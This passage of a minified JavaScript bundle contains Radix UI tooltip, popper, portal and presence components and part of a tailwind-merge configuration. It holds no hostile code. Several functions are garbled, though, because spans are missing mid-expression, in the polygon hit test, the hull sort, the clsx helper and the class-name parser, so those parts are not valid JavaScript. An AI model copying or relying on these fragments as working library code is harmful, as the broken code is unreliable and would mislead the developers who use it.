Ft(()=>{A&&xe(window.getComputedStyle(A).zIndex)},[A]),E.jsx("div",{ref:le.setFloating,"data-radix-popper-content-wrapper":"",style:{...ce,transform:F?ce.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:me,"--radix-popper-transform-origin":[$.transformOrigin?.x,$.transformOrigin?.y].join(" "),...$.hide?.referenceHidden&&{visibility:"hidden",pointerEvents:"none"}},dir:e.dir,children:E.jsx(bU,{scope:n,placedSide:Z,onArrowChange:M,arrowX:X,arrowY:ae,shouldHideArrow:se,children:E.jsx(Ce.div,{"data-side":Z,"data-align":de,...w,ref:T,style:{...w.style,animation:F?void 0:"none"}})})})});KM.displayName=Ib;var YM="PopperArrow",wU={top:"bottom",right:"left",bottom:"top",left:"right"},GM=v.forwardRef(function(t,n){const{__scopePopper:r,...i}=t,l=xU(YM,r),c=wU[l.placedSide];return E.jsx("span",{ref:l.onArrowChange,style:{position:"absolute",left:l.arrowX,top:l.arrowY,[c]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[l.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[l.placedSide],visibility:l.shouldHideArrow?"hidden":void 0},children:E.jsx(gU,{...i,ref:n,style:{...i.style,display:"block"}})})});GM.displayName=YM;function SU(e){return e!==null}var OU=e=>({name:"transformOrigin",options:e,fn(t){const{placement:n,rects:r,middlewareData:i}=t,c=i.arrow?.centerOffset!==0,u=c?0:e.arrowWidth,f=c?0:e.arrowHeight,[h,p]=WM(n),m={start:"0%",center:"50%",end:"100%"}[p],y=(i.arrow?.x??0)+u/2,x=(i.arrow?.y??0)+f/2;let S="",w="";return h==="bottom"?(S=c?m:`${y}px`,w=`${-f}px`):h==="top"?(S=c?m:`${y}px`,w=`${r.floating.height+f}px`):h==="right"?(S=`${-f}px`,w=c?m:`${x}px`):h==="left"&&(S=`${r.floating.width+f}px`,w=c?m:`${x}px`),{data:{x:S,y:w}}}});function WM(e){const[t,n="center"]=e.split("-");return[t,n]}var zb=qM,$b=VM,Bb=KM,Ub=GM,EU="Portal",Fc=v.forwardRef((e,t)=>{const{container:n,...r}=e,[i,l]=v.useState(!1);Ft(()=>l(!0),[]);const c=n||i&&globalThis?.document?.body;return c?HB.createPortal(E.jsx(Ce.div,{...r,ref:t}),c):null});Fc.displayName=EU;function AU(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var ln=e=>{const{present:t,children:n}=e,r=CU(t),i=typeof n=="function"?n({present:r.isPresent}):v.Children.only(n),l=De(r.ref,_U(i));return typeof n=="function"||r.isPresent?v.cloneElement(i,{ref:l}):null};ln.displayName="Presence";function CU(e){const[t,n]=v.useState(),r=v.useRef(null),i=v.useRef(e),l=v.useRef("none"),c=e?"mounted":"unmounted",[u,f]=AU(c,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return v.useEffect(()=>{const h=zf(r.current);l.current=u==="mounted"?h:"none"},[u]),Ft(()=>{const h=r.current,p=i.current;if(p!==e){const y=l.current,x=zf(h);e?f("MOUNT"):x==="none"||h?.display==="none"?f("UNMOUNT"):f(p&&y!==x?"ANIMATION_OUT":"UNMOUNT"),i.current=e}},[e,f]),Ft(()=>{if(t){let h;const p=t.ownerDocument.defaultView??window,m=x=>{const w=zf(r.current).includes(CSS.escape(x.animationName));if(x.target===t&&w&&(f("ANIMATION_END"),!i.current)){const O=t.style.animationFillMode;t.style.animationFillMode="forwards",h=p.setTimeout(()=>{t.style.animationFillMode==="forwards"&&(t.style.animationFillMode=O)})}},y=x=>{x.target===t&&(l.current=zf(r.current))};return t.addEventListener("animationstart",y),t.addEventListener("animationcancel",m),t.addEventListener("animationend",m),()=>{p.clearTimeout(h),t.removeEventListener("animationstart",y),t.removeEventListener("animationcancel",m),t.removeEventListener("animationend",m)}}else f("ANIMATION_END")},[t,f]),{isPresent:["mounted","unmountSuspended"].includes(u),ref:v.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function zf(e){return e?.animationName||"none"}function _U(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var TU=Symbol("radix.slottable");function NU(e){const t=({children:n})=>E.jsx(E.Fragment,{children:n});return t.displayName=`${e}.Slottable`,t.__radixId=TU,t}var MU=Eh[" useInsertionEffect ".trim().toString()]||Ft;function Oa({prop:e,defaultProp:t,onChange:n=()=>{},caller:r}){const[i,l,c]=jU({defaultProp:t,onChange:n}),u=e!==void 0,f=u?e:i;{const p=v.useRef(e!==void 0);v.useEffect(()=>{const m=p.current;m!==u&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${u?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),p.current=u},[u,r])}const h=v.useCallback(p=>{if(u){const m=PU(p)?p(e):p;m!==e&&c.current?.(m)}else l(p)},[u,e,l,c]);return[f,h]}function jU({defaultProp:e,onChange:t}){const[n,r]=v.useState(e),i=v.useRef(n),l=v.useRef(t);return MU(()=>{l.current=t},[t]),v.useEffect(()=>{i.current!==n&&(l.current?.(n),i.current=n)},[n,i]),[n,r,l]}function PU(e){return typeof e=="function"}var XM=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),RU="VisuallyHidden",ZM=v.forwardRef((e,t)=>E.jsx(Ce.span,{...e,ref:t,style:{...XM,...e.style}}));ZM.displayName=RU;var DU=ZM,[jh]=Fn("Tooltip",[Fl]),Ph=Fl(),QM="TooltipProvider",kU=700,p0="tooltip.open",[LU,Hb]=jh(QM),JM=e=>{const{__scopeTooltip:t,delayDuration:n=kU,skipDelayDuration:r=300,disableHoverableContent:i=!1,children:l}=e,c=v.useRef(!0),u=v.useRef(!1),f=v.useRef(0);return v.useEffect(()=>{const h=f.current;return()=>window.clearTimeout(h)},[]),E.jsx(LU,{scope:t,isOpenDelayedRef:c,delayDuration:n,onOpen:v.useCallback(()=>{window.clearTimeout(f.current),c.current=!1},[]),onClose:v.useCallback(()=>{window.clearTimeout(f.current),f.current=window.setTimeout(()=>c.current=!0,r)},[r]),isPointerInTransitRef:u,onPointerInTransitChange:v.useCallback(h=>{u.current=h},[]),disableHoverableContent:i,children:l})};JM.displayName=QM;var Oc="Tooltip",[IU,Vc]=jh(Oc),ej=e=>{const{__scopeTooltip:t,children:n,open:r,defaultOpen:i,onOpenChange:l,disableHoverableContent:c,delayDuration:u}=e,f=Hb(Oc,e.__scopeTooltip),h=Ph(t),[p,m]=v.useState(null),y=sr(),x=v.useRef(0),S=c??f.disableHoverableContent,w=u??f.delayDuration,O=v.useRef(!1),[A,_]=Oa({prop:r,defaultProp:i??!1,onChange:R=>{R?(f.onOpen(),document.dispatchEvent(new CustomEvent(p0))):f.onClose(),l?.(R)},caller:Oc}),T=v.useMemo(()=>A?O.current?"delayed-open":"instant-open":"closed",[A]),j=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,O.current=!1,_(!0)},[_]),M=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,_(!1)},[_]),P=v.useCallback(()=>{window.clearTimeout(x.current),x.current=window.setTimeout(()=>{O.current=!0,_(!0),x.current=0},w)},[w,_]);return v.useEffect(()=>()=>{x.current&&(window.clearTimeout(x.current),x.current=0)},[]),E.jsx(zb,{...h,children:E.jsx(IU,{scope:t,contentId:y,open:A,stateAttribute:T,trigger:p,onTriggerChange:m,onTriggerEnter:v.useCallback(()=>{f.isOpenDelayedRef.current?P():j()},[f.isOpenDelayedRef,P,j]),onTriggerLeave:v.useCallback(()=>{S?M():(window.clearTimeout(x.current),x.current=0)},[M,S]),onOpen:j,onClose:M,disableHoverableContent:S,children:n})})};ej.displayName=Oc;var m0="TooltipTrigger",tj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Vc(m0,n),l=Hb(m0,n),c=Ph(n),u=v.useRef(null),f=De(t,u,i.onTriggerChange),h=v.useRef(!1),p=v.useRef(!1),m=v.useCallback(()=>h.current=!1,[]);return v.useEffect(()=>()=>document.removeEventListener("pointerup",m),[m]),E.jsx($b,{asChild:!0,...c,children:E.jsx(Ce.button,{"aria-describedby":i.open?i.contentId:void 0,"data-state":i.stateAttribute,...r,ref:f,onPointerMove:ue(e.onPointerMove,y=>{y.pointerType!=="touch"&&!p.current&&!l.isPointerInTransitRef.current&&(i.onTriggerEnter(),p.current=!0)}),onPointerLeave:ue(e.onPointerLeave,()=>{i.onTriggerLeave(),p.current=!1}),onPointerDown:ue(e.onPointerDown,()=>{i.open&&i.onClose(),h.current=!0,document.addEventListener("pointerup",m,{once:!0})}),onFocus:ue(e.onFocus,()=>{h.current||i.onOpen()}),onBlur:ue(e.onBlur,i.onClose),onClick:ue(e.onClick,i.onClose)})})});tj.displayName=m0;var qb="TooltipPortal",[zU,$U]=jh(qb,{forceMount:void 0}),nj=e=>{const{__scopeTooltip:t,forceMount:n,children:r,container:i}=e,l=Vc(qb,t);return E.jsx(zU,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};nj.displayName=qb;var Pl="TooltipContent",rj=v.forwardRef((e,t)=>{const n=$U(Pl,e.__scopeTooltip),{forceMount:r=n.forceMount,side:i="top",...l}=e,c=Vc(Pl,e.__scopeTooltip);return E.jsx(ln,{present:r||c.open,children:c.disableHoverableContent?E.jsx(aj,{side:i,...l,ref:t}):E.jsx(BU,{side:i,...l,ref:t})})}),BU=v.forwardRef((e,t)=>{const n=Vc(Pl,e.__scopeTooltip),r=Hb(Pl,e.__scopeTooltip),i=v.useRef(null),l=De(t,i),[c,u]=v.useState(null),{trigger:f,onClose:h}=n,p=i.current,{onPointerInTransitChange:m}=r,y=v.useCallback(()=>{u(null),m(!1)},[m]),x=v.useCallback((S,w)=>{const O=S.currentTarget,A={x:S.clientX,y:S.clientY},_=VU(A,O.getBoundingClientRect()),T=KU(A,_),j=YU(w.getBoundingClientRect()),M=WU([...T,...j]);u(M),m(!0)},[m]);return v.useEffect(()=>()=>y(),[y]),v.useEffect(()=>{if(f&&p){const S=O=>x(O,p),w=O=>x(O,f);return f.addEventListener("pointerleave",S),p.addEventListener("pointerleave",w),()=>{f.removeEventListener("pointerleave",S),p.removeEventListener("pointerleave",w)}}},[f,p,x,y]),v.useEffect(()=>{if(c){const S=w=>{const O=w.target,A={x:w.clientX,y:w.clientY},_=f?.contains(O)||p?.contains(O),T=!GU(A,c);_?y():T&&(y(),h())};return document.addEventListener("pointermove",S),()=>document.removeEventListener("pointermove",S)}},[f,p,c,h,y]),E.jsx(aj,{...e,ref:l})}),[UU,HU]=jh(Oc,{isInside:!1}),qU=NU("TooltipContent"),aj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,children:r,"aria-label":i,onEscapeKeyDown:l,onPointerDownOutside:c,...u}=e,f=Vc(Pl,n),h=Ph(n),{onClose:p}=f;return v.useEffect(()=>(document.addEventListener(p0,p),()=>document.removeEventListener(p0,p)),[p]),v.useEffect(()=>{if(f.trigger){const m=y=>{y.target?.contains(f.trigger)&&p()};return window.addEventListener("scroll",m,{capture:!0}),()=>window.removeEventListener("scroll",m,{capture:!0})}},[f.trigger,p]),E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:l,onPointerDownOutside:c,onFocusOutside:m=>m.preventDefault(),onDismiss:p,children:E.jsxs(Bb,{"data-state":f.stateAttribute,...h,...u,ref:t,style:{...u.style,"--radix-tooltip-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-tooltip-content-available-width":"var(--radix-popper-available-width)","--radix-tooltip-content-available-height":"var(--radix-popper-available-height)","--radix-tooltip-trigger-width":"var(--radix-popper-anchor-width)","--radix-tooltip-trigger-height":"var(--radix-popper-anchor-height)"},children:[E.jsx(qU,{children:r}),E.jsx(UU,{scope:n,isInside:!0,children:E.jsx(DU,{id:f.contentId,role:"tooltip",children:i||r})})]})})});rj.displayName=Pl;var ij="TooltipArrow",FU=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Ph(n);return HU(ij,n).isInside?null:E.jsx(Ub,{...i,...r,ref:t})});FU.displayName=ij;function VU(e,t){const n=Math.abs(t.top-e.y),r=Math.abs(t.bottom-e.y),i=Math.abs(t.right-e.x),l=Math.abs(t.left-e.x);switch(Math.min(n,r,i,l)){case l:return"left";case i:return"right";case n:return"top";case r:return"bottom";default:throw new Error("unreachable")}}function KU(e,t,n=5){const r=[];switch(t){case"top":r.push({x:e.x-n,y:e.y+n},{x:e.x+n,y:e.y+n});break;case"bottom":r.push({x:e.x-n,y:e.y-n},{x:e.x+n,y:e.y-n});break;case"left":r.push({x:e.x+n,y:e.y-n},{x:e.x+n,y:e.y+n});break;case"right":r.push({x:e.x-n,y:e.y-n},{x:e.x-n,y:e.y+n});break}return r}function YU(e){const{top:t,right:n,bottom:r,left:i}=e;return[{x:i,y:t},{x:n,y:t},{x:n,y:r},{x:i,y:r}]}function GU(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function WU(e){const t=e.slice();return t.sort((n,r)=>n.xr.x?1:n.yr.y?1:0),XU(t)}function XU(e){if(e.length<=1)return e.slice();const t=[];for(let r=0;r=2;){const l=t[t.length-1],c=t[t.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))t.pop();else break}t.push(i)}t.pop();const n=[];for(let r=e.length-1;r>=0;r--){const i=e[r];for(;n.length>=2;){const l=n[n.length-1],c=n[n.length-2];if((l.x-c.x)*(i.y-c.y)>=(l.y-c.y)*(i.x-c.x))n.pop();else break}n.push(i)}return n.pop(),t.length===1&&n.length===1&&t[0].x===n[0].x&&t[0].y===n[0].y?t:t.concat(n)}var ZU=JM,QU=ej,JU=tj,eH=nj,oj=rj;function lj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{const n=new Array(e.length+t.length);for(let r=0;r({classGroupId:e,validator:t}),sj=(e=new Map,t=null,n)=>({nextPart:e,validators:t,classGroupId:n}),Ad="-",nC=[],rH="arbitrary..",aH=e=>{const t=oH(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;return{getClassGroupId:c=>{if(c.startsWith("[")&&c.endsWith("]"))return iH(c);const u=c.split(Ad),f=u[0]===""&&u.length>1?1:0;return cj(u,f,t)},getConflictingClassGroupIds:(c,u)=>{if(u){const f=r[c],h=n[c];return f?h?tH(h,f):f:h||nC}return n[c]||nC}}},cj=(e,t,n)=>{if(e.length-t===0)return n.classGroupId;const i=e[t],l=n.nextPart.get(i);if(l){const h=cj(e,t+1,l);if(h)return h}const c=n.validators;if(c===null)return;const u=t===0?e.join(Ad):e.slice(t).join(Ad),f=c.length;for(let h=0;he.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const t=e.slice(1,-1),n=t.indexOf(":"),r=t.slice(0,n);return r?rH+r:void 0})(),oH=e=>{const{theme:t,classGroups:n}=e;return lH(n,t)},lH=(e,t)=>{const n=sj();for(const r in e){const i=e[r];Fb(i,n,r,t)}return n},Fb=(e,t,n,r)=>{const i=e.length;for(let l=0;l{if(typeof e=="string"){cH(e,t,n);return}if(typeof e=="function"){uH(e,t,n,r);return}fH(e,t,n,r)},cH=(e,t,n)=>{const r=e===""?t:uj(t,e);r.classGroupId=n},uH=(e,t,n,r)=>{if(dH(e)){Fb(e(r),t,n,r);return}t.validators===null&&(t.validators=[]),t.validators.push(nH(n,e))},fH=(e,t,n,r)=>{const i=Object.entries(e),l=i.length;for(let c=0;c{let n=e;const r=t.split(Ad),i=r.length;for(let l=0;l"isThemeGetter"in e&&e.isThemeGetter===!0,hH=e=>{if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=Object.create(null),r=Object.create(null);const i=(l,c)=>{n[l]=c,t++,t>e&&(t=0,r=n,n=Object.create(null))};return{get(l){let c=n[l];if(c!==void 0)return c;if((c=r[l])!==void 0)return i(l,c),c},set(l,c){l in n?n[l]=c:i(l,c)}}},v0="!",rC=":",pH=[],aC=(e,t,n,r,i)=>({modifiers:e,hasImportantModifier:t,baseClassName:n,maybePostfixModifierPosition:r,isExternal:i}),mH=e=>{const{prefix:t,experimentalParseClassName:n}=e;let r=i=>{const l=[];let c=0,u=0,f=0,h;const p=i.length;for(let w=0;wf?h-f:void 0;return aC(l,x,y,S)};if(t){const i=t+rC,l=r;r=c=>c.startsWith(i)?l(c.slice(i.length)):aC(pH,!1,c,void 0,!0)}if(n){const i=r;r=l=>n({className:l,parseClassName:i})}return r},vH=e=>{const t=new Map;return e.orderSensitiveModifiers.forEach((n,r)=>{t.set(n,1e6+r)}),n=>{const r=[];let i=[];for(let l=0;l0&&(i.sort(),r.push(...i),i=[]),r.push(c)):i.push(c)}return i.length>0&&(i.sort(),r.push(...i)),r}},gH=e=>({cache:hH(e.cacheSize),parseClassName:mH(e),sortModifiers:vH(e),...aH(e)}),yH=/\s+/,bH=(e,t)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:i,sortModifiers:l}=t,c=[],u=e.trim().split(yH);let f="";for(let h=u.length-1;h>=0;h-=1){const p=u[h],{isExternal:m,modifiers:y,hasImportantModifier:x,baseClassName:S,maybePostfixModifierPosition:w}=n(p);if(m){f=p+(f.length>0?" "+f:f);continue}let O=!!w,A=r(O?S.substring(0,w):S);if(!A){if(!O){f=p+(f.length>0?" "+f:f);continue}if(A=r(S),!A){f=p+(f.length>0?" "+f:f);continue}O=!1}const _=y.length===0?"":y.length===1?y[0]:l(y).join(":"),T=x?_+v0:_,j=T+A;if(c.indexOf(j)>-1)continue;c.push(j);const M=i(A,O);for(let P=0;P0?" "+f:f)}return f},xH=(...e)=>{let t=0,n,r,i="";for(;t{if(typeof e=="string")return e;let t,n="";for(let r=0;r{let n,r,i,l;const c=f=>{const h=t.reduce((p,m)=>m(p),e());return n=gH(h),r=n.cache.get,i=n.cache.set,l=u,u(f)},u=f=>{const h=r(f);if(h)return h;const p=bH(f,n);return i(f,p),p};return l=c,(...f)=>l(xH(...f))},SH=[],Pt=e=>{const t=n=>n[e]||SH;return t.isThemeGetter=!0,t},dj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,hj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,OH=/^\d+\/\d+$/,EH=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,AH=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,CH=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,_H=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,TH=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,ml=e=>OH.test(e),ke=e=>!!e&&!Number.isNaN(Number(e)),fi=e=>!!e&&Number.isInteger(Number(e)),yg=e=>e.endsWith("%")&&ke(e.slice(0,-1)),ha=e=>EH.test(e),NH=()=>!0,MH=e=>AH.test(e)&&!CH.test(e),pj=()=>!1,jH=e=>_H.test(e),PH=e=>TH.test(e),RH=e=>!ge(e)&&!ye(e),DH=e=>Vl(e,gj,pj),ge=e=>dj.test(e),Yi=e=>Vl(e,yj,MH),bg=e=>Vl(e,$H,ke),iC=e=>Vl(e,mj,pj),kH=e=>Vl(e,vj,PH),$f=e=>Vl(e,bj,jH),ye=e=>hj.test(e),rc=e=>Kl(e,yj),LH=e=>Kl(e,BH),oC=e=>Kl(e,mj),IH=e=>Kl(e,gj),zH=e=>Kl(e,vj),Bf=e=>Kl(e,bj,!0),Vl=(e,t,n)=>{const r=dj.exec(e);return r?r[1]?t(r[1]):n(r[2]):!1},Kl=(e,t,n=!1)=>{const r=hj.exec(e);return r?r[1]?t(r[1]):n:!1},mj=e=>e==="position"||e==="percentage",vj=e=>e==="image"||e==="url",gj=e=>e==="length"||e==="size"||e==="bg-size",yj=e=>e==="length",$H=e=>e==="number",BH=e=>e==="family-name",bj=e=>e==="shadow",UH=()=>{const e=Pt("color"),t=Pt("font"),n=Pt("text"),r=Pt("font-weight"),i=Pt("tracking"),l=Pt("leading"),c=Pt("breakpoint"),u=Pt("container"),f=Pt("spacing"),h=Pt("radius"),p=Pt("shadow"),m=Pt("inset-shadow"),y=Pt("text-shadow"),x=Pt("drop-shadow"),S=Pt("blur"),w=Pt("perspective"),O=Pt("aspect"),A=Pt("ease"),_=Pt("animate"),T=()=>["auto","avoid","all","avoid-page","page","left","right","column"],j=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],M=()=>[...j(),ye,ge],P=()=>["auto","hidden","clip","visible","scroll"],R=()=>["auto","contain","none"],I=()=>[ye,ge,f],B=()=>[ml,"full","auto",...I()],q=()=>[fi,"none","subgrid",ye,ge],U=()=>["auto",{span:["full",fi,ye,ge]},fi,ye,ge],V=()=>[fi,"auto",ye,ge],oe=()=>["auto","min","max","fr",ye,ge],le=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],ce=()=>["start","end","center","stretch","center-safe","end-safe"],L=()=>["auto",...I()],F=()=>[ml,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...I()],$=()=>[e,ye,ge],Z=()=>[...j(),oC,iC,{position:[ye,ge]}],de=()=>["no-repeat",{repeat:["","x","y","space","round"]}],D=()=>["auto","cover","contain",IH,DH,{size:[ye,ge]}],X=()=>[yg,rc,Yi],ae=()=>["","none","full",h,ye,ge],se=()=>["",ke,rc,Yi],me=()=>["solid","dashed","dotted","double"],xe=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],ee=()=>[ke,yg,oC,iC],_e=()=>["","none",S,ye,ge],Q=()=>["none",ke,ye,ge],fe=()=>["none",ke,ye,ge],he=()=>[ke,ye,ge],ne=()=>[ml,"full",...I()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[NH],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[RH],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ke],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",ml,ge,ye,O]}],container:["container"],columns:[{columns:[ke,ge,ye,u]}],"break-after":[{"break-after":T()}],"break-before":[{"break-before":T()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:M()}],overflow:[{overflow:P()}],"overflow-x":[{"overflow-x":P()}],"overflow-y":[{"overflow-y":P()}],overscroll:[{overscroll:R()}],"overscroll-x":[{"overscroll-x":R()}],"overscroll-y":[{"overscroll-y":R()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:B()}],"inset-x":[{"inset-x":B()}],"inset-y":[{"inset-y":B()}],start:[{start:B()}],end:[{end:B()}],top:[{top:B()}],right:[{right:B()}],bottom:[{bottom:B()}],left:[{left:B()}],visibility:["visible","invisible","collapse"],z:[{z:[fi,"auto",ye,ge]}],basis:[{basis:[ml,"full","auto",u,...I()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ke,ml,"auto","initial","none",ge]}],grow:[{grow:["",ke,ye,ge]}],shrink:[{shrink:["",ke,ye,ge]}],order:[{order:[fi,"first","last","none",ye,ge]}],"grid-cols":[{"grid-cols":q()}],"col-start-end":[{col:U()}],"col-start":[{"col-start":V()}],"col-end":[{"col-end":V()}],"grid-rows":[{"grid-rows":q()}],"row-start-end":[{row:U()}],"row-start":[{"row-start":V()}],"row-end":[{"row-end":V()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":oe()}],"auto-rows":[{"auto-rows":oe()}],gap:[{gap:I()}],"gap-x":[{"gap-x":I()}],"gap-y":[{"gap-y":I()}],"justify-content":[{justify:[...le(),"normal"]}],"justify-items":[{"justify-items":[...ce(),"normal"]}],"justify-self":[{"justify-self":["auto",...ce()]}],"align-content":[{content:["normal",...le()]}],"align-items":[{items:[...ce(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...ce(),{baseline:["","last"]}]}],"place-content":[{"place-content":le()}],"place-items":[{"place-items":[...ce(),"baseline"]}],"place-self":[{"place-self":["auto",...ce()]}],p:[{p:I()}],px:[{px:I()}],py:[{py:I()}],ps:[{ps:I()}],pe:[{pe:I()}],pt:[{pt:I()}],pr:[{pr:I()}],pb:[{pb:I()}],pl:[{pl:I()}],m:[{m:L()}],mx:[{mx:L()}],my:[{my:L()}],ms:[{ms:L()}],me:[{me:L()}],mt:[{mt:L()}],mr:[{mr:L()}],mb:[{mb:L()}],ml:[{ml:L()}],"space-x":[{"space-x":I()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":I()}],"space-y-reverse":["space-y-reverse"],size:[{size:F()}],w:[{w:[u,"screen",...F()]}],"min-w":[{"min-w":[u,"screen","none",...F()]}],"max-w":[{"max-w":[u,"screen","none","prose",{screen:[c]},...F()]}],h:[{h:["screen","lh",...F()]}],"min-h":[{"min-h":["screen","lh","none",...F()]}],"max-h":[{"max-h":["screen","lh",...F()]}],"font-size":[{text:["base",n,rc,Yi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,ye,bg]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",yg,ge]}],"font-family":[{font:[LH,ge,t]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[i,ye,ge]}],"line-clamp":[{"line-clamp":[ke,"none",ye,bg]}],leading:[{leading:[l,...I()]}],"list-image":[{"list-image":["none",ye,ge]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",ye,ge]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:$()}],"text-color":[{text:$()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...me(),"wavy"]}],"text-decoration-thickness":[{decoration:[ke,"from-font","auto",ye,Yi]}],"text-decoration-color":[{decoration:$()}],"underline-offset":[{"underline-offset":[ke,"auto",ye,ge]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:I()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",ye,ge]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",ye,ge]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:Z()}],"bg-repeat":[{bg:de()}],"bg-size":[{bg:D()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},fi,ye,ge],radial:["",ye,ge],conic:[fi,ye,ge]},zH,kH]}],"bg-color":[{bg:$()}],"gradient-from-pos":[{from:X()}],"gradient-via-pos":[{via:X()}],"gradient-to-pos":[{to:X()}],"gradient-from":[{from:$()}],"gradient-via":[{via:$()}],"gradient-to":[{to:$()}],rounded:[{rounded:ae()}],"rounded-s":[{"rounded-s":ae()}],"rounded-e":[{"rounded-e":ae()}],"rounded-t":[{"rounded-t":ae()}],"rounded-r":[{"rounded-r":ae()}],"rounded-b":[{"rounded-b":ae()}],"rounded-l":[{"rounded-l":ae()}],"rounded-ss":[{"rounded-ss":ae()}],"rounded-se":[{"rounded-se"